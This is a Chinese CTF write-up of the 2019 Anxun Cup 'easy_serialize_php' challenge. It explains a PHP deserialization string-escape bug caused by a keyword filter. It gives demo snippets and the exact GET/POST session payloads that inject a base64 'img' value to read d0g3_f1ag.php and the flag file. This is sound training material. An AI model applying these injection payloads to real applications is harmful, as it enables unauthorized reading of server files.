安洵杯 2019easy_serialize_php

开头即可拿到源码
然后提示phpinfo phpinfo

11.PNG

将其base64
代码最后一行有一个file_get_contents是能够读取文件的函数,他这里读取的是base64解密的’img’,往前找这个’img’
一个函数serialize上,这里有一个很明显的漏洞点,数据经过序列化了之后又经过了一层过滤函数,就是数组里提到的’php’,’flag’,’php5’,’php4’,’fl1g’都会被空格替代,而这层过滤函数会干扰序列化后的数据。

在php中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,
特点一
例如:

string(6) "aaaaaa" [1]=> string(3) "aaa" } 序列化如果增加或删除str的任何一个字符会导致序列化失败,但是如果在str末尾大括号外加上东西就还是可以序列出来
1
2
3
4
5
6
7
<?php
$str='a:2:{i:0;s:6:"aaaaaa";i:1;s:3:"aaa";}aaa';
var_dump(unserialize($str));

<?php
$str='a:2:{i:0;s:6:"aaaaaa";i:1;s:3:"aaa";}';
var_dump(unserialize($str));
反序列化识别有一定范围,范围外都会忽略但是不影响反序列化结果 **特点二:**
1
2
3
4
5
 <?php
$_SESSION["user"]='flagflagflagflag'
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"s";}';
$_SESSION["img"]='asdasdasd';
echo serialize($_SESSION);
输出: a:3:{s:4:"user";s:16:"flagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"s";}";s:3:"img";s:9:"asdasdasd";} **这题存在过滤机制将flag过滤成空格** a:3:{s:4:"user";s:16:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"s";}";s:3:"img";s:9:"asdasdasd";} 替换为空之后会向后再读取16个将其当作s:16:" " 的内容;s:8:"function"; 但是这样无法读取到img的内容 这边这个十六就得改成24 ;s:8:"function";s:59:"a" 恰好到分号的位置 序列改成:a:3{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"s";}";s:3:"img";s:9:"asdasdasd";} 而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则,所以序列化结果为: $_SESSION["user"]='";s:8:"function";s:59:"a"; $_SESSION["img"]="ZDBnM19mMWFnLnBocA==" $_SESSION["aa"]="s" 这样seeeion数组的键值img对应的值发生改变 那么可以控制原来的session数组的function的值但无法控制,但这个方法就可以旁敲侧击的控制img的值,用ZDBnM19mMWFnLnBocA==代替了真正的base64编码,读取了d0g3_f1ag.php的内容。而识别完成后最后面的";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}被忽略掉了,不影响正常的反序列化过程。 get:f=show_image post: _SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 然后大概就知道flag在哪了_ base64一下 然后替换掉ZD ![10.PNG](https://github.com/ajin-max/ajin-max.github.io/blob/master/img/10.PNG?raw=true) POST:_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";} ![12.PNG](https://github.com/ajin-max/ajin-max.github.io/blob/master/img/12.PNG?raw=true)